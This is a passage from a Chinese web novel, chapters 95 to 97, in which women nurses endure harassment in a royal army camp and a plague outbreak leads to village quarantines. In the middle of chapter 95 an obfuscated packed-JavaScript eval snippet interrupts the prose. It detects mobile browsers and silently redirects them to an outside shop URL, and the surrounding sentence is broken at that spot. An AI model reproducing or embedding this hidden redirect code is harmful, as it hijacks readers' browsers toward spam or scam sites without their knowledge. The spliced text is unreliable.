但因为有传送阵,去西亚尔玛倒是很方便。玛格丽特去年就以堪称完美的成绩从学院毕业离开,今年她也效仿德林郡开设了好几所基础学院,只不过也缺老师。 这次邀请克劳拉过去,也是为了交流这件事。 傍晚时分,有急促马匹声冲进城堡,执事接过信使的信,迅速递交到克劳拉手中。 还没等克劳拉拆开信封,又有骑士冒冒失失闯进餐厅。 年轻的骑士怀中抱着头盔,发丝黏腻在额角,满头都是汗水,他喘息道:“阁下!您之前……所说的那种诅咒……它出现了!” 95. 第95章 除了西亚尔玛的边境,弗洛伦斯还没去过其他的边境。 起初她还抱有一丝期待,以为诺兰郡的士兵或许和西亚尔玛差不太多。 结果让她大失所望,脏乱的平房里,散发着阵阵恶臭,士兵们随意赤裸着上身,喝酒赌博。 吵嚷的声音与污浊的空气,连莫兰特这种很少黑脸的绅士,都满脸嫌弃。 这明明是国王的士兵,却表现得如同那些不入流的佣兵。 国王骑士早已司空见惯,他们随意扔了些破布让德林郡和西亚尔玛来的士兵出去搭帐篷,因为营房的数量不够,居住不了那么多士兵。 莫兰特抑制住愤怒,指着不远处空荡荡的营房,质问这些空置营房的作用。 “我们国王骑士一人住一间,没什么大不了的吧。”国王骑士铁了心要报在德林郡吃瘪之仇,“况且过两天还有几支军队要前来。” 他随意指着不远处脏乱差的空地,让两郡士兵过去扎营。 莫兰特还想理论一番,塔拦住他,示意没有必要再争执。 他们自己额外带了粮和帐篷,还有三十多位女性和部分女兵,分开来住反而是更好的。 尤其塔已经在短时间内大致确认过整个军营的地形和部署,那边靠近医院和树林反而更方便。唯一不好的就是取水点更远些。 “在阁下身边待久了,有时都忘记这些贵族就是这么副嘴脸。”莫兰特嘲讽道。 国王居住在军营的正中心指挥处,不是他们能接触到的。莫兰特大抵知道塔带着任务而来,但他也不知道怎么才能面见国王,只能寄希望于正式上战场了。 国王骑士分给他们的帐篷质量并不好,搭好后又小又矮,入口高度才堪堪到塔胸口处,必须弯腰进入。即使是最高的中心,也只能勉强让塔站直。 这种帐篷只能用来堆放杂物。 说实话塔并不喜欢和不信任的人并肩作战,但他没有选择。 所幸两郡士兵并不用互相猜忌,只需要对诺兰郡的士兵以及国王直属军保持一定警惕即可。但他要是想走到国王身边,又不能完全将关系弄僵。 这支德林军明面上负责的是莫兰特,但莫兰特也知道,他不过因为拥有贵族头衔,才被阁下推出来当幌子,这些战士可不会听他的。 而西亚尔玛军自始至终带队的骑士也与他不熟悉,看上去他们军队话语权反而在那位弗洛伦斯小姐身上。 莫兰特觉得挺有意思的,阁下身边的人果然都与众不同。 反正他也只是来当摆设的,也不想费心费力干活,在周围转悠着,仔细观察着所有人的行动。时不时也会将目光投注到另一头诺兰军身上。 这座军营里,似乎还有两支来自其他郡的军队,人数并不多。 算上他们的人,莫兰特估计这座军营里人数才堪堪过万,大抵有两千骑兵。 和西亚尔玛全民皆兵不同,诺兰郡虽然人口众多,军队士兵数量据说是三万人。 但莫兰特猜测,实际受训超过一年的士兵不过万名。国王直属军也不知带来了多少,应该也不会超过一千,毕竟直属军更重要的是守卫王都。 霍恩·温斯顿并没有跟随出征,他驻守王都,这有些微妙,国王已经不信任温斯顿家了吗?还是想趁霍恩·温斯顿不在时获得这支诺兰军的支配权? 莫兰特将这些都记在脑中,打算探查清楚后将这些全都传信给克劳拉。他们有特殊的传信手段,也不用担心被国王的人拦截。 路过装备库时,他被士兵拦下,莫兰特只快速扫了几眼部分暴露在露天的攻城器械,看得出国王这次确实准备充分。 那他们估计得在诺兰郡待上至少一年以上了。莫兰特叹口气,他实在不想在这破地方久待。 营地里,弗洛伦斯正在搭建额外的用于给女士们清理的帐篷。营地里有专门给士兵们泡澡的澡堂,显然并不是她们会去的地方。 虽然她早知道西亚尔玛以外的世界,异性对她们的恶意会很大,但真实感受到这些后,她还是觉得有些恶心反胃。 先是离开德林郡时,某位国王骑士嘲讽道:“不愧是大贵族,出征还会给士兵安排随军娱乐活动。” 这位国王骑士差点被克劳拉削了脑袋,路上不治身亡了。姐妹会一开始还想替他包扎一下,但其他国王骑士坚决不让她们近身。 弗洛伦斯可懒得救该死的人,提出来也不过是出于职业道德。 但这一路上她们就一直若有若无地被注视着。从进入军营起她们更是被各种不怀好意的目光包围。 就像是在狼群里扔了一块生肉。 一直以来对异性的恐惧感,让姐妹会们有些害怕。尽管她们被西亚尔玛的士兵保护着,那种恐惧还是难以彻底消失。 塔特意让女战士驻扎在她们附近。西亚尔玛这次内部也混有女性士兵,只不过她们穿着铠甲后就像是普通士兵一般。 不像姐妹会的人,只穿着白色罩裙,明晃晃地将性别告知于众。 好不容易将帐篷搭建好,姐妹会整理好帐篷内部后,就迫不及待挤到弗洛伦斯身边,向她诉说着不安。 这种情况弗洛伦斯到有心理准备,她回想克劳拉曾对她说过,有不长眼的男人不需要在乎他的身份背景,直接暴力解决就好了,最重要的是她们亲手解决。 弗洛伦斯深以为然,士兵不可能随时保护在她们身边,要前往战场。 而她们最初前来的目的也是为了救助伤员,主要活动区域在医院。如果只想着害怕,不能把出征前学的防身术使用出来,那可不行。 “克劳拉说过了,大家也都学过了,攻击哪些部位会让他们受伤失去战斗力,遇到不长眼的,毫不犹豫攻击就好了。出了任何事我都会兜底,再不济还有塞拉和简能将你们传送回德林郡呢!”弗洛伦斯道。 塞拉和简立刻出声回应。 简用手中的魔杖小小地变了个冰花魔法,转移女孩们的注意,“不用担心,虽然魔法不能随意用在他们身上,但是还是有些空子可以钻的!” 比如让他们莫名其妙摔倒,被动物攻击等一些无伤大雅的小手段,甚至用不到魔法。 弗洛伦斯反复且认真地嘱咐大家,“在我看来,你们比国王身边那些只会冲锋陷阵的野蛮人珍贵多了!所以一定要好好保护自己和姐妹们,对不怀好意的家伙可不要讲客气!” 克劳拉说过,会有很可怕的疫病席卷整个大陆,她们这些经过系统学习的女孩们非常重要,一个也不能少! 她们的使命远比这些打仗的士兵重要得多。 “再过两天,我们去医院探探路。大家平时最好两人一组行动,尽量不要落单,出了事大声呼救!” 她的话和女巫的安抚让女孩们稍稍安下心来,彼此握紧同伴的手。 这会战争还没有正式打响,双方只试探了几回。 医院里没多少住院的士兵,大都只是因为打猎受伤或是食用了腐坏的食物导致住院。 弗洛伦斯没有让女孩们全都跟随,只带了简和另外两名成员,还有几位士兵。 医院的医者并不多,她逛了一圈似乎只有三四位医者在值班,也不知道确实只有这么多,还是其他的出去玩了。 而且这里的环境很差,平房里十分昏暗,只有少量窗户还没有敞开,空气相当污浊。设施也简陋无比,一排排摆过去的床,每个才堪堪容纳一个成年男人,想要翻身都难。 她们经过时,有士兵叫嚷道:“嘿,这里可不是你们做生意的地方!” 其他士兵听到后就会发出令人不适的笑声。 弗洛伦斯懒得搭理,径直穿过这一节病房。待离开后,那位出言不逊士兵的床轰然坍塌,他发出一声咒骂,断腿再次受到伤害,而迟迟不见医者前来。 直到离开医院,弗洛伦斯才大口呼吸,“这种环境,病人能好才怪。” 她抱怨道,通风透气,保持干净的卫生不是最基本的要求吗?这些医者也太偷懒了吧。 将两郡士兵的安危托付到这种医者手里,她实在无法放心,决定传信给克劳拉,让她送两位医者过来。 虽然她也能完成医者能做的大部分事宜,但人的精力总是有限的,她可不想到时候累死自己。 莫兰特还是每天在外面和其他郡的士兵交流套近乎,打探情报。塔和西亚尔玛的领头骑士专心训练士兵。 他们似乎都做好了要在此长期驻扎的准备。 弗洛伦斯又去了几次医院,遭到了医者的驱赶。起初她还想证明自己不是来捣乱,是真正掌握医术。 随即她想到克劳拉曾说过,没必要在固执的人面前证明自己,有些人只会相信自己认为的事实。与其浪费时间和他们争辩,不如专注做好自己的事。 她决定在营地附近重新搭建临时医院,就像在西亚尔玛一样,反正她们对这种事早已熟练于心。 士兵们对她的决议表达了无条件的支持。在这所军营只待了短短半个月,不停有其他军士兵骚扰他们,询问姐妹会的价格。 不管驱赶、辱骂、殴打,其他郡的士兵都认定了姐妹会是随军军妓,不是正经医护。到现在他们压根懒得废话,来了就直接打走。 总共就三十来位医护,一旦开战,根本忙不过来。作为士兵他们当然有私心,希望姐妹会能优先治疗他们。 至于其他军那群愚蠢的土拨鼠,管他们死活! 在这所营地呆满了一个月后,国王才正式出征。 期间也不知道消耗了多少粮食,两郡这边有女巫的小型传送阵,食物不用愁。但另外一些军可就没那么好运了,弗洛伦斯感觉他们一个个无精打采的。 也是从正式出征开始,临时医院也逐渐有人送进来。 两郡的士兵都骁勇善战,或许是因为常年和非人类作战,他们受的伤都很轻,姐妹会虽然忙碌,但工作量并不沉重。 莫兰特取得克劳拉同意后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445518|129069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通过某些交易,让部分军队士兵也送过来治疗。 这些士兵可不老实多了,时不时会对姐妹会动手动脚,言语骚扰也少不了。 这时候弗洛伦斯就掏出她的小手锤,不过手臂长,是克劳拉发现的铁矿打出来的第二把武器——第一把送给了克劳拉,用手锤给不老实的士兵一人来两锤,受伤了也无所谓,反正都是在医院了。 况且她深谙打某些地方不会受重伤,但是疼痛感会留给他们一些难忘的回忆。 久了弗洛伦斯就在军中出名了,并不是因为她的医术,而是因为她的战锤。 甚至还传到了古斯塔耳中,听闻是霍德华的孙女,古斯塔难得感兴趣见了她一面。 这可是绝佳的机会,弗洛伦斯鼓起勇气请求国王允许她在诺兰郡招收更多的女性助手,用于照顾士兵。还希望能够进入营地里的医院治疗受伤士兵。 听到她的请求后,古斯塔神色不明,只让她回去等消息,弗洛伦斯都以为他不会答应了。 第二天传来消息,古斯塔处死了两名营地医院的医者,并同意了姐妹会的人进入营地医院。 而古斯塔派来帮忙的女人,居然是真正的随军军妓,一群打扮得奇奇怪怪的女人,身上带着劣质的香粉味。 这些女人一过来就和姐妹会产生了冲突。 “反正都是想吸引男人,你们倒是手段特别。” “谁和你们这些自甘堕落的女人一样!” 眼见医院还有一堆事情没完成,作为医护和预备役的双方要打起来了,弗洛伦斯头疼地站出来解决麻烦。 “停!再吵架都要挨捶子!”她拦在两波人的正中间,“别忘了克劳拉说过的话,是姐妹不是敌人。” 后面一句话是对姐妹会的人说的。虽然女孩们并不认可和妓女做姐妹,但好歹是来帮忙的,只要勤勤恳恳干活,她们也就不想计较,纷纷回到自己的岗位。 而弗洛伦斯则不顾这些新来的意愿,和女巫们强迫她们洗去妆容,洗干净身体,又让她们换上消过毒的衣裙帽子,通通赶去打扫卫生! 即使是女人,偷懒的话也会被她掏出手锤威胁。 但弗洛伦斯一视同仁地保护这些女人,不允许士兵对她们动作不干净。 那些叫嚣着军妓就应该怎么样的,都被她毫不留情打回去,她笑容恐怖,“这里没有军妓,只有医护。再让我听到那两个字,我就让你再也没法开口说话。” 霎时,医院空气都清新了不少。 随着军队不断往外扩张,送往医院的伤兵也越来越多,医院人满为患,大部分士兵不得不躺在过道。 为了防止感染,弗洛伦斯每天耳提面命让女士们一定要保持足够干净的环境。 同时还写信给克劳拉哭诉,太忙了太忙了!她只是个孩子,睡觉的时间都不够了! 克劳拉又给她派来了十来位姐妹会成员,缓解了她的压力。她还一度担心士兵会不会对多出来的女孩们起疑心,但那些伤员只以为又是国王派来的,丝毫没有多想。 整整三个月,弗洛伦斯和女士们忙到飞起来,睁眼闭眼都是伤员。但日常相处陪伴下,姐妹会也终于敞开心扉接纳了新人,新来的女士们也放下了最初的芥蒂。 弗洛伦斯想她们应该找到了新的人生方向吧,或许这就是克劳拉说的只要有正经工作,没有人愿意当妓女。 她偷摸向克劳拉申请将她的薪水分一半给这些新来的女士们。克劳拉回给她一个厚重的钱袋,附带在信中毫不犹豫骂了她。 [你自己都没赚多少钱呢,还想着分钱给别人!当时离开西亚尔玛的时候,你可是放话给侯爵要自己赚钱。这笔钱我来出!这只是补贴,答应好的金币等你们回来。] 弗洛伦斯真的太喜欢克劳拉了!她迫不及待把这些银币分给大家。 女士们拿到银币后,忽然泣不成声。姐妹会的成员都理解这种情绪,七嘴八舌安慰起她们来。 在这个冬夜,大家彻底消除了过往的偏见,只朝着同一个目标前进。 这种生活确实疲惫,工作实在太多且忙不过来,有时候吃饭的时间都是挤出来的。但弗洛伦斯很喜欢伤员在她们照料下逐渐恢复的感觉。 偶尔也会有前线的消息传回来,比如国王的军队推进到哪了,国王身边又有哪些人崭露头角,她也只能从些伤兵口中拼凑出两郡士兵的现状。 塔似乎因为战斗力过于强大,引得了国王的注意,但又因为异族的面孔,让国王并不信任他。她将这些都写进信中。 有时她也会祈祷战争快些结束,不要再有受伤与死亡,姐妹会的大家都受够了病人的痛苦与哀嚎。 但国王目前并没有收兵的打算,前线仍然在持续战斗着。 直到一个普通的春日,弗洛伦斯见到了一群新入院的病患,唤醒了她早已深埋在记忆。瞬间她手脚冰凉,冷汗爬上她的脊背。 克劳拉说的都是真的,灾难真的要来了—— 96. 第96章 这一天迟早会来的,克劳拉一直知道,但真到来时,仍然会有一种强烈的不真实感。 尤其是她才刚从领地巡视回来,前脚刚走,后脚就出现症状。 克劳拉忽然有种强烈的预感,或许剧情里灾病起源并不是因为圣城,但逐渐扩散到整个西大陆,绝对有圣城插手。 比如现在,德林郡出现的疫病很有可能是教会投放的,正巧卡在她刚巡视回来的时候,就像打了她一巴掌般。 当然只是猜测,克劳拉边理智地询问出现地点、时间。边穿上斗篷准备去一趟巫师塔。 “……患者之前藏着地窖里,是从诺兰郡逃来的。按照您之前吩咐过的,我们将那座村庄彻底封锁。” 年轻骑士至今眼中仍带着深深的恐惧,此前他们只从克劳拉记载的文字中了解到这种病状,当时骑士们都不以为然,笑称黑巫师的诅咒而已,女巫们肯定能轻松驱散。 但亲眼见到患者皮肤发紫,脖颈到手臂处处冒出如鹅蛋大小的脓包。身体因为高温不停痉挛,口中还不断吐出鲜血。 旁观的平民早已吓得昏过去,骑士们也各个面色发白,出了房间就忍不住吐出来。 “那是魔鬼的诅咒……” 骑士喃喃低语,察觉到克劳拉奇怪的眼神,他立刻表示自己回城堡前已经进行了细致地沐浴清理。 “那不是诅咒,是疾病。” 克劳拉还是让他暂时找间屋子单独住上一周,会让人给他送食物和水。 犹豫片刻,索性让今日和她外出的骑士和士兵全部暂且隔离。城堡里所有人全都清洗干净,城中也要细致打扫彻底,不能有一只老鼠和跳蚤! 幸好因为伊登喜欢猫,城里养了太多的猫。就像现在,伊登的猫蹲坐在大厅的雕像上,居高临下俯视着忙碌的人群。 夜色中,克劳拉独自一人骑马奔走在山岭之间。 除去弗洛伦斯带走的以及前往边境的医护,学校里只有百来位还没有毕业的新手。必须加快她们学习的进度,没有足够的时间让她们充分学习了。 这种疫病传染性极强,既然已经有人严重到这个程度,那周围所有村民都可能即将发病。 如果事态控制不住,克劳拉只能选择将他们全部杀死并焚烧。她紧握手中的缰绳,这次不能再犹豫了。 接到克劳拉的消息后,安娜先一步在塔外等她,“大巫正在和另外几位大巫谈话,如果情况确实危急,几位大巫会出女巫岭。” “辛苦你了,安娜。蕾莱在哪?还有事情要吩咐她。”克劳拉问。 “目前都在塔中待命,大巫会将患者带回塔中,我们必须亲自接触过病患后,才能作出下一步行动。”安娜将克劳拉带上达索琳的办公室。 克劳拉进来时,达索琳正和几只鸟儿交谈,是另外几位大巫的分身。 “她来了。”达索琳似乎等待已久,为她介绍这三位大巫。 “阿卡娜,主管观星与命途。”流光溢彩的乌鸦朝克劳拉俏皮地晃了晃翅膀。 “阿德涅,主管诅咒与解咒。”这是一只蛇鹫,克劳拉还是第一次见到。蛇鹫优雅地朝克劳拉点头。 “布莱尔,主管生命与草药。”布莱尔的分身华丽太多了,她的身躯并不大,但有着长且华丽的红色拖尾,像极了书中记载的不死鸟。她也只是矜持地微点头。 也不知道达索琳主管什么,她似乎多少都会一些,克劳拉暗暗猜测。 达索琳先一步离开房间,将空间留在其他人,在谈话的间隙,她要去将病患带回塔中。 “很抱歉以这种模样与您见面。”布莱尔示意克劳拉向前一些, “此前达索琳已经向我们传达过你所说的疫病,从你的描述里我们认为这应该是一种诅咒。但我觉得奇怪的是,你似乎坚定地认为这是疫病,而不是诅咒。” 到底是病还是咒,这些大巫只要接触患者立刻就能知道,但她们却在此时选择向她问话。 她们想要知道自己到底如何得知灾难的存在,又知道多少。 克劳拉目光转向乌鸦,“阿卡娜大巫可以预知未来,她难道没有预知到这场灾难?” 在几人的注视下,乌鸦的尾翼微张,又很快合拢。阿卡娜清清嗓子,“我只知道这片大陆未来会陷入麻烦,死亡的阴影笼罩在每个人头上。而转机就是在您——克劳拉·德文希身上。” 其实很多年前她曾在另一位女孩身上看到过同样的转机,但不知为何闪烁几下后又泯灭。 原以为灾难难以避免,她很快又预言到了新的转机,而这一次预言几乎耗费了她毕生的魔力。她已经无法再进行下一次预言了。 克劳拉张口,世界意识这个词无论如何也无法说出口。她又尝试了几次,剧情也不能。 早几年她就尝试过了,看来哪怕是女巫面前也无法将这些词说出口。 她几次张口无言,让大巫以为她不想说出来。布莱尔似乎有些失望,“罢了,达索琳回来后我们会直接接触病患。” “是神的指示——”克劳拉脱口而出,神明这个词反而能够说,所以世界意识说不定不是神明。 “你从哪接触到神的指示?指示的内容是什么?又是何时接触到的?最近还有没有新的指示?”布莱尔追问。 “……”很好,又不能说,克劳拉斟酌着用词,“梦里,几年前,没有。” “疫病和严寒的灾难,还有未来的饥荒、战争。” 这些笼统的词可以说出来,但涉及到安德鲁和伊登的未来反而无法说出口,因为他们是主角吗? 主角的命运不可改,但是其他未被书中记载过的人或是剧情并不重要的可以改变。 至少迄今为止,世界意识都没有出现告知她剧情崩溃,看来安德鲁肯定会成为国王。如果她取代安德鲁,世界又会怎么样。 “我知道了。”布莱尔猜到或许有限制,神明的启示总要付出一定代价,再追问下去或许会让克劳拉受到伤害。 小女巫来通知几位大巫,达索琳已经将患者带回,正在另一间已经被隔绝的房间内等待各位。 进入房间的人都会戴上特制的面罩、穿上黑袍与手套,再被施加一层隔绝咒语。 小心一些是正确的,大巫也无法保证女巫不会被感染。 这间房内人并不多,包括大巫在内,只有数十来人,蕾莱并不在其中。有几位擅长草药的术士与女巫,以及两位擅长解剖的医者。 只有克劳拉一个外行。 “患者已经死亡。”隔了层面罩,达索琳的语气有些失真,“下午发现,不过半天就彻底死去,当然无法确定他的病状具体出现时间。” 即使隔着面罩,克劳拉也能感知到身边部分人被患者的惨状吓到身体有些僵硬,包括她也有些不适。 上前解剖的那位医者,深呼吸几次才找回平时的手感,平稳地剖开病患的脓包。 克劳拉终于不忍再看下去,她悄悄离开了房间。在门口缓了好一阵才平复心中的不适感。 她对这些都只是一知半解,帮不上任何忙,不如离开去部署隔离村庄的事情。 与守在外面的女巫知会一声后,她带着安娜离开。 “小姐,您要亲自去封锁的村庄?”安娜满心忧虑,她想不出克劳拉必须去的理由。 克劳拉直言,“不过去看看我睡不着。” 尤其是得知蕾莱已经带领了一批医护亲自过去后,她无论如何也要去现场。 安娜沉默地握住克劳拉的手,发动了传送。 她们到时,村庄里的村民正和侍卫们发生肢体冲突。 因为领地的规定,侍卫不敢随意杀死村民,只能横着长枪将这些人死死拦下不允许他们离开封锁区。 “领主大人!领主大人来了!”有眼尖的村民,遥望到了克劳拉的身影,她高呼出声,“领主大人!我们没有被诅咒!求求您让我们离开这里!” 说罢她扑通一下跪倒在地上,身后的村民也纷纷效仿她。 他们只是好心收留了来自诺兰郡的亲戚,谁也不曾想亲戚居然被恶魔诅咒了,最后影响了整个村庄。 领主的士兵将村庄彻底围死,一旦逃跑很快会被抓回来。这时村民才忍不住害怕起来,他们或许都要被处死…… 克劳拉没有第一时间安抚村民,问了一嘴蕾莱的去向。 “蕾莱女士正在西面的河边扎营。”士兵立刻给予她回复。 士兵的话音刚落,蕾莱就急匆匆赶过来,见到下跪的平民先是一惊,转头又看到克劳拉和安娜的身影。 “阁下,这是?” “蕾莱老师,稍等片刻,待会我需要你的配合。” 蕾莱轻点头,又回想到黑暗中克劳拉未必看到,还是出声回复。 安娜实在不放心,又给克劳拉施加了一次隔离咒,后者哑然失笑,摸了一把她的头,才沉稳又坚定地走到村民面前。 “这不是诅咒,而是一种疫病。”克劳拉的声音很平静,带着莫名的魔力,村民们不自觉变得安静。 “先站起来吧,抱歉我的士兵不能和你们直接接触,所以还请你们互相搀扶着站起来。” 橘色的火光打在克劳拉脸上,带着点温柔的味道,村民面面相觑,犹豫着站起身。 人群里有孩子大声哭闹,她的母亲连连抱着她轻哄着,村民的目光不由自主觑着克劳拉的脸色。 但他们的领主大人神色未变,耐心地等待孩子的哭声渐停。 或许是克劳拉好名声在外,有村民壮着胆子询问道:“领主大人,您说的生病是什么意思?那个人不是被恶魔诅咒,而是生病了吗?” 虽然他们觉得那种 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在她的命令下,部分士兵亮出了刀锋,逼退不理智的村民。 “现在开始,各个闭上嘴!听我把话说完!” 又有孩子此起彼伏地哭闹起来,大人们立刻捂住他们的嘴。 克劳拉头疼,有时候想对领民温和一些只会适得其反。她早就知道了,可每次都下意识这样。这次也是,明明直接强权规定怎么做就好,还得亲自跑过来和村民解释。 只希望解释过后,这些村民能配合士兵和姐妹会的行动吧。克劳拉可不想哪天病疫席卷整个德林郡。 “我已经说过了,这是生病,不是诅咒!既然生病就有可能治愈,这位是医者蕾莱。” 蕾莱应声走到村民面前。 “她会带领姐妹会的医护,全力救治你们,争取让村民都能够活下来。但前提是,你们听从医者的安排,不要擅自逃出封锁线!” “我再说一次,逃出封锁线,无论你有没有得病,立刻杀死!而只要老实待在村庄,我会替你们准备好足够的食物。” “现在,由蕾莱女士告知你们具体该怎么做!只要你们听从她们的安排,我无法保证你们都能活下来,但至少不一定会死。我以克劳拉·德文希之名,向你们发誓,绝不会放弃任何一个活着的领民。” 克劳拉话音落下后,整整几分钟寂静无声。 她向来说到做到,当然不管领民们信不信,在这种时候也只能选择相信她。 随即隐隐传来小声的啜泣,低语声,孩子的哭闹与母亲的轻哼。 蕾莱接过扩音筒,她深深地注视着克劳拉,随即面向或站或跪着的村民,坚定道:“我同样以蕾莱之名起誓,姐妹会会全力救助每一位村民!所以请你们多信任我们一些,配合我们的安排。” 后续工作交由蕾莱安排,她让所有村民只待在自己屋中不要外出,又将前期病状告知村民。只要出现症状,立刻通知士兵或姐妹会,届时患者会被带到其他地方治疗。 陆陆续续有一批女巫赶到,她们主要是布置隔绝法阵和保证士兵和姐妹会成员们的安危。 穿戴严防的士兵用生石灰在村庄何处消毒,而姐妹会成员则不厌其烦叮嘱这些村民注意事项,譬如保持干净卫生、水必须烧开使用、见到老鼠跳蚤立刻消灭。 克劳拉则要计算食物消耗量,还要写信通知各方。 大量士兵被安排至封锁区,士兵们的家人几乎都是德林郡人,为了家人朋友他们会坚定地守住这座村庄,绝不可能让任何威胁逃出村庄。 克劳拉并不担心士兵会心软,同时还要和亚克安排新的巡防队,恐怕领地感染者并不只这一位。 直到清晨6点,她才阖眼休息。 不到两小时,伊登的军马回城,城堡里的喧哗又将克劳拉吵醒。 熬夜后的眼睛,异物感严重到无法睁开。克劳拉揉着因睡眠严重不足而头疼的额角,摇铃唤来了女仆们。 伊登和漠的回归,缓解了城中侍卫不足的局面。 今日最主要的任务是要让士兵们将消息传至城中及各个村庄,确保不会有任何一位患者被窝藏。 也不知道大巫那边情况如何。 早餐在书房内随意吃了几口,除开封锁区的事,克劳拉还有扎堆的日常事务没有处理完。 等到伊登将手里头的事情搞定,眼巴巴直奔书房,他已经好几个月没见到克劳拉。 他都没来得及诉说这几个月的分别,克劳拉没给他任何休息时间,下达新的任务。 她开门见山道:“未来几年我们估计都没太多时间应对巨魔,不如你和赫利斯姨妈还有侯爵阁下商量着,赶在最近它们不出来活动去将巨魔森林推平吧。” 伊登:? 97. 第97章 “将他们带出医院!立刻!”弗洛伦斯一时间六神无主,这些人不能待在医院,不然整个医院的患者全要给他们陪葬。 等士兵问起来送去哪时,她也不知道,只能吩咐士兵在不远处重新搭建一座新的帐篷。 “消毒!消毒!你们都去消毒!”其他病人很少见到弗洛伦斯慌张的样子,隐隐预感到这几人恐怕得了相当棘手的病。 简闻声赶过来,极力安抚弗洛伦斯激动的情绪,“弗洛娅!冷静点!冷静点!深呼吸!” 两人避开人群,找到隐蔽的地方,商讨对策。 “我会马上传信给阁下和大巫们,阁下只告知过这种病症,怎么治疗她也不知道。总之先将他们全部隔绝开,等待大巫那边的指示。” “好可怕,我以为克劳拉在说胡话,怎么可能有人生病会是那种样子!”但真正见识到后,真实的患者,比克劳拉描述得可怕百倍。 弗洛伦斯双臂环着自己,垂着头平复心情。简沉默地陪伴着她。 良久,简说:“我们为此准备了这么久,所以阁下所说的大规模死亡绝对不会发生!猎巫运动也会彻底停下!” “我相信阁下和大巫们,她们一定能想出阻止灾难的办法!” 在简的安抚下,弗洛伦斯终于冷静了下来。她是组长、是主心骨,如果她都因为惶恐失去主见了,其他人要怎么办。 摘掉手套,弗洛伦斯小心拭去眼泪,声音虽然还有些哽咽,“你说得对!还有很多事要做!我应该相信你们!” 简替她将这幅手套烧掉,待她换上新的手套后,施放了隔绝咒,这是大巫专门为此研制出来的魔法。 “去吧弗洛娅,我和塞拉会替其他人都施加上隔绝咒。” 远处乌云压顶,电光闪烁。厚重的云层逐渐扩散。原本的转暖的天气又带上了凉意。 弗洛伦斯裹紧衣服,“暴风雨要来了。” 果不其然,傍晚时分大雨倾盆落下,狂风席卷。 刚搭建的帐篷并不稳固,在风中摇摇欲坠,几度接近散架。 雨水浸透过帐篷,滴落至内部,地面很快覆盖起一层积水。 这种环境下病患的情况只会加重。弗洛伦斯镇静地指挥人用盆接水、维修帐篷。 但无济于事,患者痛苦的哀嚎混合着风雨呼啸声,让忙里忙外的众人心里都不住发慌。 在忽明忽暗的闪电光中,弗洛伦斯终于忍受不了这糟糕至极的环境,“这样下去不行!既然大部分士兵都不在营地,营房空置,让他们去营房暂住不行吗?” 被问话的士兵犹豫着,“这需要国王骑士允许……” “那你还等什么!现在立刻马上去问!” 士兵被她手中的手锤吓得连滚带爬跑走,随即他又想起根本没有国王骑士留守在营地,这会驻守营地的是诺兰郡的一位男爵。 鞋袜、裙摆湿透的感觉并不好受,她们还要顶着这些不适安抚照顾病人。 哪怕几小时后暴风雨终于停下,昏暗潮湿的环境还是加重了病患的病情。 “杀了我,求求你杀了我。”被病痛折磨的士兵低声请求,鲜血止不住从他口中溢出,几分钟后他甚至说不出话,只能目带祈求注视着弗洛伦斯。 弗洛伦斯摇摇头,眼里不自觉染上了热意,“对不起,我不能。” 他失望地闭上眼,沉默地抵抗着剧烈的疼痛。 弗洛伦斯说不出任何安抚他的话,连她都不知道这种病能不能治愈,又要多久才能找到治愈的方法,而这些人又能不能熬到那个时候。 整整一个晚上,她除了擦拭患者鲜血与呕吐物,与他们说说话,什么都做不了。 天将将亮时,有其他成员来接替她,弗洛伦斯拖着疲惫的身体,走出帐篷。太阳仍然被隐在积云之后,今天看来还是下雨。 回住处的路上,她要经过医院的回廊。年轻的女孩们就这么拖着泥泞的裙摆,相互依偎着靠墙睡着了。即使在睡梦中,她们依旧眉心紧蹙,面容上尽是掩饰不去的疲惫。 在这里睡觉很可能会生病,弗洛伦斯将她们一一唤醒,让她们回去休息。 “弗洛娅,我好困啊。”被叫醒的女孩忽然哭了起来,但她甚至不敢用手去擦眼泪。 哭声是会传染的,其他人也默默红了眼眶。弗洛伦斯吸吸鼻子,抱着她拍了拍她的后背,“去休息吧,实在坚持不住不要强撑,休息一天没关系。” “不行!我休息的话,弗洛娅的工作就变多了,你比我们更累。”女孩困顿地用额头蹭着弗洛伦斯的肩膀,“只休息一小会,还有很多事没做完啊。” “回去吧,总之不要在走廊休息,将衣服都换了,会生病的。”弗洛伦斯心中发烫,还有姐妹会的成员支撑她,她可不能就这么倒下! 大家互相搀扶着往住处走,至少如今她们已经不用住帐篷了,搬进了营房中。 落在末尾的弗洛伦斯扭头就望见了躲闪在墙边的士兵——是昨晚出去的那位。 她快步走过去,年轻的士兵几度想逃走,还是停在了原地。 弗洛伦斯有不好的预感,她急声问:“病患可以搬去营房吗?” 对着她希翼的目光,士兵咽下唾沫,结巴道:“男爵阁下拒绝了……他说,他说,病人完全可以住进医院,你们非要再占据其他营房……” “这是传染病!不隔开的话,医院其他士兵都会死!”弗洛伦斯皱眉。 “那位阁下说,女人的话不可信……肯定只是想住得更好点……不用管……她们又知道些什么……”士兵吞吞吐吐将男爵阁下的原话道出,其实还有一些更难听的话,他不敢说,害怕被打。 弗洛伦斯简直不知道说什么,愤怒、惊讶、无力感充斥着她的脑海。 最后愤怒占了上风,她怒气冲冲回到西亚尔玛士兵居住的地方,这里留存了小部分士兵为了保护她们。 “穿好你们的铠甲!我们去教训几个没有脑子的贵族。”她也迅速换上自己的专属锁子甲。 克劳拉还说过,对于听不懂道理的家伙,打到他们能够听懂为止。 狗屁的女人的话不可信,她会让这位男爵大人好好瞧瞧,到底谁的话才是放屁! 留下来的西亚尔玛和德林郡战士不过百人,有男有女,纷纷穿戴整齐响应她的号召。 待在军营里不能上战场,还要被同样留守的士兵排挤,他们早就不想忍了。 近百位装备精良的士兵在弗洛伦斯带领下,冲向指挥所。一路上只有少部分人试图阻拦他们,大多数屈于弗洛伦斯和西亚尔玛的威名,选择保持观望。 